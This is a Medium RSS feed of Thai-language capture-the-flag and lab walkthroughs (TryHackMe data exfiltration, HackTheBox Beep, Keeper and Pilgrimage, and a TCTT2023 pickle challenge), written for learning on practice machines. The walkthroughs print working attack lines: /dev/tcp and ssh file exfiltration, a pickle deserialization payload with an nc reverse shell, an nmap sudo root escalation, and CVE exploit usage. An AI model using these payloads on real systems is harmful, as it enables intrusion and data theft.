<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lance on Medium]]></title>
        <description><![CDATA[Stories by Lance on Medium]]></description>
        <link>https://medium.com/@lanceisnotmyname?source=rss-fd13e76de4bf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*65HUWdgJwEZ5E1_MXuwNHA.jpeg</url>
            <title>Stories by Lance on Medium</title>
            <link>https://medium.com/@lanceisnotmyname?source=rss-fd13e76de4bf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 01:59:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lanceisnotmyname/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Data Exfiltration ว่ากันด้วยเรื่อง Steps การรับส่งข้อมูลวิธีต่างๆ(ที่คนปกติไม่ใช้กัน) (TryHackMe —…]]></title>
            <link>https://lanceisnotmyname.medium.com/data-exfiltration-%E0%B8%A7%E0%B9%88%E0%B8%B2%E0%B8%81%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%A2%E0%B9%80%E0%B8%A3%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%87-steps-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%AA%E0%B9%88%E0%B8%87%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%86-%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%84%E0%B8%99%E0%B8%9B%E0%B8%81%E0%B8%95%E0%B8%B4%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B8%81%E0%B8%B1%E0%B8%99-tryhackme-8f8a6456fef0?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f8a6456fef0</guid>
            <category><![CDATA[data-exfiltration]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Sat, 11 Nov 2023 16:09:56 GMT</pubDate>
            <atom:updated>2023-11-11T16:32:17.514Z</atom:updated>
            <content:encoded><![CDATA[<h3>Data Exfiltration ว่ากันด้วยเรื่อง Steps การรับส่งข้อมูลวิธีต่างๆ(ที่คนปกติไม่ใช้กัน) (TryHackMe — Data Exfiltration Room) Part 1</h3><p>อ้างอิงตัวอย่างจาก TryHackMe — Data Exfiltration Room</p><p><a href="https://tryhackme.com/room/dataxexfilt">https://tryhackme.com/room/dataxexfilt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ay8KQ64vfKe2en-Mf0hAwQ.png" /></figure><p>จริงๆแล้วการปัจจุบันการรับส่งไฟล์นั้นมี Software ต่างๆมารองรับให้สะดวกและง่ายๆมากมายแต่วิธีการดังกล่าวคือวิธีการที่กรณีที่มีผู้ไม่หวังดีไม่อยากให้ใครรู้หากว่าตนเองได้นำไฟล์ดังกล่าวออกไปโดยไม่ถูกตรวจจับจาก SIEM หรือ ผู้ดูแลระบบจุดมุ่งหมายของการทำคือทำให้เราเข้าใจการกระทำดังกล่าวและกระบวนการรับส่งเพื่อนำไปป้องกันหรือตรวจสอบหาต้นตอได้หากเกิดขึ้นและหากเราจะทำความเข้าใจว่ารายละเอียดและการประยุกต์ใช้เป็นอย่างไรก็ควรฝึกทำให้เป็นก่อนเป็นสำคัญ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*Zxl3edd9vy5BO2RY.png" /><figcaption>Cyber Kill Chain By LockHeed Martin (2011)</figcaption></figure><p>ว่ากันก่อนด้วยเรื่องของกระบวนการของการโจมตีระบบๆหนึ่งซึ่งจะผ่านขั้นตอนเหล่านี้เรียกว่า Cyber Kill Chain (จะใช้ทุกขั้นตอนหรือไม่ขึ้นอยู่กับวิธีการและประสงค์ของผู้โจมตีระบบดังกล่าว) โดยการทำ Data Exfiltration มักจะเกิดขึ้นในช่วงท้ายของการโจมตีกระทำเพื่อโอนย้ายถ่ายข้อมูลโดยผ่าน Protocol หรือ Service ต่างๆ ที่ Host นั้นๆ Support</p><h4>อะไรบ้างล่ะที่มักจะหลุดหรือมีความเสี่ยงในการรั่วไหล</h4><ul><li>Usernames and passwords or any authentication information.</li><li>Bank accounts details (บัญชีการเงิน)</li><li>Business strategic decisions. (ภาพหรือแผนการตลาดขององค์กร)</li><li>Cryptographic keys.(ไฟล์หรือกุญแจในการเข้า-ถอดรหัส)</li><li>Employee and personnel information.(ข้อมูลส่วนบุคคลของคนในองค์กร)</li><li>Project code data (Blueprint หรือ ข้อมูล Source code)</li></ul><p>วิธีการหลักๆ ในการทำหรือ Use case ที่มักถูกใช้งาน</p><p><strong>Traditional Data Exfiltration</strong></p><p>การทำ connecttion พื้นฐานซึ่งทำจากฝั่ง Victim มายัง Attacker โดยคำสั่งหรือการส่งมักมีทิศทางเดียวไม่มีการเชื่อมต่อ หรือ Establish อะไรไม่จำเป็นต้องมีการ reply reponse Request เช่นการเปิด Port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/0*aJ_GKH25GM52T7RR.png" /></figure><p><strong>C2 Communications</strong></p><p>เมื่อมีทำ C2 Framework ขึ้นมา ส่วนใหญ่แล้วมักจะมีการเปิดการเชื่อมต่อทั้งจาก standard port และ non standard port เพื่อรองรับการสั่ง execute command ต่างๆ มีการรับส่ง request response กันจากทั้งสองฝั่ง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/0*JWOpGCwnVZJT1dF2.png" /></figure><p><strong>Tunneling</strong></p><p>การ Tunneling คือการส่งข้อมูลที่แฝงหรือแนบผ่าน Packet ระหว่างการเชื่อมต่อ ซึ่งจะเป็น Standard port หรือไม่ก็ได้ โดยมันทำให้ Attacker สามารถเข้าถึง Victim ได้ไม่ถูกตรวจพบมักพบเห็นผ่าน DNS , HTTPs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/0*VZsvpqMcw1YpW2p5.png" /></figure><p>มาดู Network Infrastructure กัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*tNKiHyutdMxfSb7H.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8CE6dOBk1kXxBlYEn66P1g.png" /></figure><p>โดยเราจะเข้าไปใน jump box-thm</p><p>ssh thm@IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KUHWIaQFlw5bV4Xlb-4IGQ.png" /></figure><p>วิธีการจะมี Task และ ตัวอย่างให้จะมี Use cases ดังนี้</p><ul><li>Exfiltrate using TCP socket and Base64</li><li>Exfiltrate using SSH</li><li>Exfiltrate using HTTPS (POST request)</li><li>ICMP</li><li>DNS</li></ul><h4>Exfiltrate using TCP socket and Base64</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/0*jVWS9x82SnbhTu3-.png" /></figure><p>-ฝั่ง JumpBox</p><p>ทำ netcat รอรับการเชื่อมต่อจาก victim</p><pre>nc -lvp 8080 &gt; /tmp/task4-creds.data</pre><p>-ฝั่ง Victim</p><p>ทำการ compress file ผ่าน tar และนำไปแปลงเป็น base64 และ encoding จาก ASCII → EBCDIC ก่อนทำการ เปิด socket ส่งข้อมูลไปที่ JumpBox port 8080</p><pre>tar zcf - task4/ | base64 | dd conv=ebcdic &gt; /dev/tcp/192.168.0.133/8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ov67saC5EIMukWGrAzg4SQ.png" /></figure><p>-ฝั่ง JumpBox</p><p>จากนั้นเมื่อ receive file เรียบร้อยแล้วให้ทำการแปลงไฟล์กลับมาด้วยคำสั่ง dd</p><p>และแปลงกลับมาจากรูป Base64 จากนั้นก็ทำการ Extract file ออกมา</p><pre>dd conv=ascii if=task4-creds.data | base64 -d &gt; task4-creds.tar</pre><pre>tar xvf task4-creds.tar</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cGHm2ihakL02GvmhZWIqEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*rm2WsGAWxJtwXXUTotFxoA.png" /></figure><p>จะเห็นว่าวิธีดังกล่าวมีสิ่งที่บอกชัดเจนว่ามีการเปิด port ที่ไม่ใช่ service พื้นฐานอยู่ ซึ่งง่ายต่อการถูกพบและติดตามง่าย จึงไม่ค่อยปลอดภัยมากนักหากนำมาใช้งานแต่เป็นวิธีการที่ง่ายและเหมาะแก่การรับส่งไฟล์ที่มีขนาดไม่ใหญ่มากนัก</p><h4>Exfiltrate using SSH</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/0*JpTiJB9YhdQ45PrK.png" /></figure><p>จริงๆเรามี SCP ในการส่งข้อมูลผ่าน ssh อยู่แล้วแต่เคสนี้จะสมมุติว่าไม่มี scp และมาลองวิธีการที่เน้นการรับส่งระหว่าง ssh client มากขึ้น</p><p>-Victim1</p><p>อาศัยการสั่ง cmd ผ่าน ssh client ฝั่งผู้ส่ง</p><pre>tar cf - task5/ | ssh thm@jump.thm.com &quot;cd /tmp/; tar xpf -&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdHzY7R6KzgyQLePCsllGQ.png" /></figure><p>-JumpBox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43JNIcD109t6YKhsgBlTnA.png" /></figure><p>วิธีนี้ถือว่าเป็นวิธีที่มีการเข้ารหัสในการรับส่งข้อมูลแต่ก็มีข้อจำกัดตรงที่ อาศัย credential ของฝั่ง JumpBox กรณีที่ไม่มี Password ของ user ฝั่งผู้รับ(ซึ่งเราใช้เป็น Entry Machine สู่วงในของ Network ) หรือไม่ได้เป็นสิทธิ์ root ของเครื่องก็จะไม่สามารถใช้วิธีนี้ได้</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f8a6456fef0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Walkthrough Beep]]></title>
            <link>https://lanceisnotmyname.medium.com/htb-walkthrough-beep-00b3347dc2fc?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/00b3347dc2fc</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Sat, 11 Nov 2023 08:52:53 GMT</pubDate>
            <atom:updated>2023-11-11T08:59:18.700Z</atom:updated>
            <content:encoded><![CDATA[<p>ห่างหายไปนานสำหรับการทำโจทย์ วันนี้ขอเป็นอะไรที่มันสบายๆหน่อยละกัน ถือเป็นการเคาะสนิม</p><p>IP:10.10.10.7</p><p>Me:10.10.14.11</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*peVWXvpNl1L-EkAvjEaeSg.png" /></figure><p>เริ่มแรกก็ nmap ก่อนเลยละกัน</p><pre>nmap --min-rate 1000 -sC -sV 10.10.10.7 -oN init.scan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m5OiaAGVS1dj3rNNAzQC7Q.png" /></figure><p>ให้บริการ https แต่เปิดจาก browser ไม่ได้ สันนิษฐานก่อนเลยว่าอาจจะเป็นที่ tls เก่าหรือ ใช้ self sign Cert</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLYrrCBJtlRnGly-I3johQ.png" /></figure><p>ลองใน curl ก่อนโดยใช้ — insecure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Bf3O7UYACdKqHRi5WvaKw.png" /></figure><p>แล้วมาลองเปิดใน burp browser ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ITFJI_casRuNQw2rItXx2g.png" /></figure><p>ได้ข้อมูลละ เป็น elastix login page น่าจะเก่าอยู่ลองหา exploit ดู</p><p>ได้ว่าเป็น exploit from CVE-2012–1823</p><p><a href="https://github.com/theykillmeslowly/CVE-2012-1823.git">https://github.com/theykillmeslowly/CVE-2012-1823.gi</a>t\</p><p>exploit from elastix 2.2.0 exploit</p><p>ปรับ payload ทำ netcat คอยเลยจังหวะนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8BChRk2bIPlr5eAZvK_S-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1mlQC6_VG9Ox14vsHAPAg.png" /></figure><p>upgrade shell ทำให้ ใช้ sudo ,clear,เลื่อน ลูกศรได้</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;);&#39;<br>CTRL + Z         #backgrounds netcat session<br>stty raw -echo<br>fg               #brings netcat session back to the foreground<br>export TERM=xterm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8t2tDhvWTxj61uCrgN4fjw.png" /></figure><p>enum ไปมา user.txt อยู่ใน /home/fenis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*sr6XhSp_7GTrsR9s0_37Og.png" /></figure><p>ได้ user.txt ละก็ไปต่อเลย</p><p>ตรวจสอบสิทธิหน่อย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6myOkS5Yo6W5y5zWwFUFzA.png" /></figure><p>nmap ละกัน หมูๆ</p><pre>sudo nmap --interactive<br>!bash<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGtpUc-gzzkJek4t_LALxQ.png" /></figure><p>ได้ root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*dsQ8K5f9NiciILSRZT-JcA.png" /></figure><p>Having Fun Nakarbb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00b3347dc2fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCTT2023 Pickle (WebApp Challenge)]]></title>
            <link>https://lanceisnotmyname.medium.com/tctt2023-pickle-webapp-challenge-a499d2ed88d5?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/a499d2ed88d5</guid>
            <category><![CDATA[tctt2023]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Sun, 17 Sep 2023 13:55:55 GMT</pubDate>
            <atom:updated>2023-09-17T13:55:55.309Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pX8jS_o77dAvbIBdO_8XKg.jpeg" /></figure><p>ทั้งงานทำมันอยู่ข้อเดียว55555555</p><p>ตอนแรกก็เปิดมามี input กับ title อะไรนะ</p><p>i love pickle</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--eoLctr5aBLGx1mbEpn7g.png" /></figure><p>อะไรไม่รู้แต่ไม่น่าเกี่ยวกับ แตงกวาดองหรอก</p><p>ก็เลยไปหาข้อมูลดู exploit ก็จะเป็นแบบนี้</p><pre>class RCE:<br>    def __reduce__(self):<br>        cmd = (&#39;rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | &#39;<br>               &#39;/bin/sh -i 2&gt;&amp;1 | nc 127.0.0.1 1234 &gt; /tmp/f&#39;)<br>        return os.system, (cmd,)</pre><p>แต่ว่าได้ error 32512 ซึ่งเป็น error เกี่ยวกับ os.system ที่น่าจะมีปัญหาหลังจาก เครื่องปลายทางประกาศใช้และเนื่องจากเราไม่มี source code ก็เลยลองหาไปเรื่อยๆ</p><p>ก็เอาไป search ดู หน้าตา code จะประมาณนี้</p><pre>import pickle, base64<br><br>class DillPickle:<br>  def __reduce__(self):<br>    import subprocess<br>    return (subprocess.check_output, ([&#39;env&#39;],))<br>#grep -Rnw &#39;/&#39; -e &#39;CTT23<br>#find / -name flag.txt<br>p = pickle.dumps(DillPickle())<br>print(base64.b64encode(p).decode(&#39;ASCII&#39;))</pre><p>พอ run code แล้วเรียบร้อยก็ เลยลองหาดู ด้วยคำสั่ง</p><p>find / -name flag</p><p>ก็จะเห็น /tmp/flag.txt (ไม่ได้แคปเก็บไว้ T T)</p><p>มันเหมือนจะประกาศ value $RANDOM_VALUE อะไรนี่แหละเลยลองอีกครั้งด้วยคำสั่ง env</p><p>flag ก็ออกมาเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPTy0UlSuT4tq6U24beKOA.png" /></figure><p>CTT23{Bas364_Rc3}</p><p>Have fun na karb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a499d2ed88d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Keeper Walkthrough]]></title>
            <link>https://lanceisnotmyname.medium.com/htb-keeper-walkthrough-c9ebe7b0257f?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9ebe7b0257f</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[puttygen]]></category>
            <category><![CDATA[keepass]]></category>
            <category><![CDATA[cve-2023-32784]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Sat, 26 Aug 2023 18:02:43 GMT</pubDate>
            <atom:updated>2023-08-26T18:02:43.949Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dEP-M9eZ5zP-BaCZgqH-NA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EIMgn2LXTTNvRYyvHkB9Q.jpeg" /></figure><p>จริงๆบอกก่อนเลยว่าเปิดมาทำก่อนไว้นานละแต่ว่า ดอง note ไว้ปนๆกับช่วงฝึกงาน(จริงๆคือ ขก.) แต่ไหนๆก็เห็นเป็น Machine ที่ดูน่าสนุกดีก็เลยอยากเอามาเขียนเก็บไว้</p><p>IP: 10.10.11.227</p><p>ข้ามขั้นตอน Enum ไปก่อนนะพอดีเห็นเป็น 22,80 ละลืมแคปมา อ้ากกกก</p><p>เปิดมาตัว Web จะให้ไปเปลี่ยนเป็น domain name ตามนี้ (เปลี่ยนใน /etc/hosts)</p><p>tickets.keeper.htb</p><p>หน้า login request tracker อาศัย default credential ในการ login root:password</p><p>หน้าตา index ตอน login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mObHmynBB0z6xqRX7DrUsQ.png" /></figure><p>พอตรวจสอบไปมาจะเห็นใน admin จะเห็นเป็นข้อความที่เก็บ credential ของ user lnorgaard (ชื่ออีหยังนิ)</p><p>แล้วจะได้ user:password ของ lnorgaard มา</p><p>lorgaard:Welcome2023!</p><p>*สังเกตตรง language danish นะ เป็น hint อย่างนึงสำหรับเราตอนทำ 5555</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ml9e_p9YX1FgKZKCQ9bUw.png" /></figure><p>พอเอาuser password ดังกล่าวไป login จะได้ user.txt มา</p><p>user.txt:9feab678691c13efc4dd0f247ab4d1ba</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZG0aWtpkoUOsGL2f07XEcA.png" /></figure><p>เพื่อให้ง่ายเรา scp fileให้มาอยู่ในเครื่อง host เพื่อ</p><p>ไฟล์ RT30000.zip แตกออกมาจะได้ไฟล์ Keepassdump.dmp , passcodes.kdbx</p><p>Keepass เป็น software ที่ใช้ในการเก็บ credential รูปแบบหนึ่งโดยจะเก็บ file format ไว้ในลักษณะ .kdbx</p><p>หลังจาก enumeration จะเจอว่า Keepass crash dump ที่เครื่อง victim ใช้ซึ่งอาจจะเป็น version ที่มีช่องโหว่ (<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-32784">CVE-2023–32784</a>) โดยช่องโหว่ดังกล่าวเปิดโอกาสให้ Attacker สามารถ recover master password ผ่าน memory dump ได้ (passcodes.kdbx)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgRUKxQK6-3upeDgPhYULQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1OSOdcviNxxhdZiP4ZR-3A.png" /></figure><p>ติดตั้ง .NET แล้วใช้งานได้เลย</p><p>dotnet run KEEPASS.DMP</p><p><a href="https://github.com/vdohney/keepass-password-dumper">GitHub - vdohney/keepass-password-dumper: Original PoC for CVE-2023-32784</a></p><p>จะได้แบบนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXPRxlEWcZ9nuo_t0Kt2Gg.png" /></figure><p>หลังจากงมๆดมๆอยู่สักพัก ก็เอะใจได้ว่า ชื่อกับภาษามันแปลก มันน่าจะเป็น <br>ภาษาเดนมาร์ก เพราะสังเกตตั้งแต่ comment , panel , username , มันก็ภาษา Danish ก็เลยเอาทั้งดุ้น ข้อความที่ dump ได้</p><p>ก็เลยลองเปลี่ยนคำที่ไม่รู้จักให้เป็น Ø</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRYcpTWUBhksdsUKXGfURw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LasDWr_Wplci3y0dl0S2A.png" /></figure><p>master password คือ rødgrød med fløde ……… ป่ะวะ 55555555 เลยลองเอาไปใส่ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xzmix13eaeBCVLSO2u0N9g.png" /></figure><p>มันรอดดดดดดดด</p><p>ทีนี้จะเห็นว่ามันคือ putty user key file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_CcoOWaaY7c_Ee1l9ggBSw.png" /></figure><p>ให้ save ออกมาเป็น file text แล้วให้ทำการ convert putty user key file — → openssh key file ==&gt; key.key (เอาง่ายเลย55555)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JdFGNcyyYo4u92Q2Ik2KQg.png" /></figure><p>หลังจากนั้นให้ ทำการ convert ได้เลย</p><p><a href="https://www.ssh.com/academy/ssh/putty/linux/puttygen">Describes how to install and use puttygen on Linux. Puttygen is a command-line tool for generating and manipulating SSH keys for the Linux version of Putty.</a></p><p>puttygen key.key -O private-openssh -o keyfile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O__x3eOirxLe7exQ1_xHUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YUzSefAi1_z_C9IU6IonRg.png" /></figure><p>root.txt:c5d3630c0aa6c71f33ead9a198d594c0</p><p>เรียบร้อย ส่วนตัวคิดว่าข้อนี้เน้นไปทาง enumeration และความแปลกใหม่ของ password มากกว่าแต่ก็สนุกดีถ้าที่เขียนไปมีอะไรผิดพลาดทักมาบแกได้เลยนะคร้าบ พอดีเพิ่งหัดเขียนความรู้บางอย่างอาจจะยังไม่ถูกต้องนัก</p><p>Happy Hacking Karbbb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9ebe7b0257f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Pilgrimage Walkthrough]]></title>
            <link>https://lanceisnotmyname.medium.com/htb-pilgrimage-walkthrough-8a2e0a0e8ab6?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a2e0a0e8ab6</guid>
            <category><![CDATA[pilgrimage]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Sat, 08 Jul 2023 04:09:18 GMT</pubDate>
            <atom:updated>2023-07-08T04:09:18.130Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_x6n0hakVqzl8Q0yf5drQ.png" /></figure><ul><li>*First Time doing machine in HTB haha***</li><li>เริ่มแรกต่อ openvpn ให้เรียบร้อยก่อน</li></ul><p>ip →10.10.11.219</p><p>me → 10.10.14.33</p><p>จากนั้นก็ไปเปลี่ยน domain name ใน /etc/hosts เป็น pilgrimage.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lthbTfK2rhTAsYAF0g1k8A.png" /></figure><p>.git/HEAD บ่งบอกว่าเป็น ไฟล์ที่ upload ใน git repositories ใช้ git-dumper ในการ dump ออกมา</p><p>python3 git_dumper.py “<a href="http://pilgrimage.htb/.git/">http://pilgrimage.htb/</a>&quot; &lt;output dir&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K4VNlHB5t1z3ChEmh45Hww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b4OFzpCuWXhjnzCGpR3_BQ.png" /></figure><p>จะเห็นว่า index.php มีการสั่ง exec magick ในระหว่าง upload เพื่อทำการ resize file ก่อนทำการวางลงใน shrunk dir</p><pre>exec(&quot;/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/&quot; . $upload-&gt;getName() . $mime . &quot; -resize 50% /var/www/pilgrimage.htb/shrunk/&quot; . $newname . $mime);</pre><p>สิ่งที่ควรสงสัยต่อไปคือเราควรตรวจสอบ magick ซึ่งมี elf file มาให้เราแล้วใน dump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVV7X22cLuQs32OtA7T_Nw.png" /></figure><p>เมื่อนำ version ไปตรวจสอบเราจะพบช่องโหว่ cve ซึ่งเป็น cve แบบ Arbitrary file read โดยสามารถอ่านไฟล์ได้ในเครื่อง</p><p>Version: ImageMagick 7.1.0–49 beta Q16-HDRI x86_64 c243c9281:20220911</p><p><a href="https://www.exploit-db.com/exploits/51261">OffSec&#39;s Exploit Database Archive</a></p><pre>https://github.com/voidz0r/CVE-2022-44268</pre><p>cargo run “/etc/passwd” → image.png</p><p>จากนั้น upload แล้วเมื่อได้ไฟล์มาให้สั่ง</p><p>identify -verbose &lt;output.png&gt;</p><p>แล้วนำมาแปลง hex กลับเป็น strings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N3MyctZYAo5v4WURQrsheA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwZY0hlx-sn15qv5-uac1w.png" /></figure><p>เราทราบแล้วว่า user ที่ได้ดังกล่าวชื่อ emily</p><p>emily:x:1000:1000:emily,,,:/home/emily:/bin/bash</p><p>เมื่อกลับไปที่ index.php เราจะเห็นว่ามีการเรียกใช้งาน PHP DataObject (PDO)</p><p>“/var/db/pilgrimage” ดังนั้นเราก็ควรลองเข้าไปตรวจสอบดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MCYb8MeuOTbwwKhAypjuwg.png" /></figure><p>cargo run “/var/db/pilgrimage”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VpxurBz4wdO8puIMaRTNkQ.png" /></figure><p>เราจะได้ emily’s password มา</p><p>emily:abigchonkyboi123</p><p>หลังจากนั้นให้ทำการ ssh</p><p>ssh emily@pilgrimage.htb</p><p>จากนั้นเราก็จะได้ไฟล์ user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*-4zkzm50eEcRpej207pChA.png" /></figure><p>สำหรับการยกระดับสิทธิ์เป็น root เราใช้คำสั่ง</p><p>ps -aux ตรวจสอบการทำงานของ process เบื้องหลัง แต่ถ้าให้แนะนำจริงๆ แนะนำ pspy มากกว่าเพราะสามารถตรวจสอบ pid ที่ hidden อยู่หลังบ้านได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GO98dGGjWJv5TnQ20thKGw.png" /></figure><p>เราจะเห็นแล้วว่ามีการสั่ง exec shell script โดย root</p><p>cat /usr/sbin/malwarescan.sh</p><pre>#!/bin/bash<br><br>blacklist=(&quot;Executable script&quot; &quot;Microsoft executable&quot;)<br><br>/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do<br>        filename=&quot;/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo &quot;$FILE&quot; | /usr/bin/tail -n 1 | /usr/bin/sed -n -e &#39;s/^.*CREATE //p&#39;)&quot;<br>        binout=&quot;$(/usr/local/bin/binwalk -e &quot;$filename&quot;)&quot;<br>        for banned in &quot;${blacklist[@]}&quot;; do<br>                if [[ &quot;$binout&quot; == *&quot;$banned&quot;* ]]; then<br>                        /usr/bin/rm &quot;$filename&quot;<br>                        break<br>                fi<br>        done<br>done<br>exeucuted /usr/local/bin/binwalk by root</pre><p>มีการสั่ง binwalk โดย root ดังนั้น เราควรไปตรวจสอบ binwalk สักหน่อย</p><p>โดยให้สังเกตว่าสิ่งสำคัญคือ มันเข้าไปทำการ exec ใน /var/www/pilgrimage.htb/shrunk/ dir</p><p>binwalk -h</p><figure><img alt="" 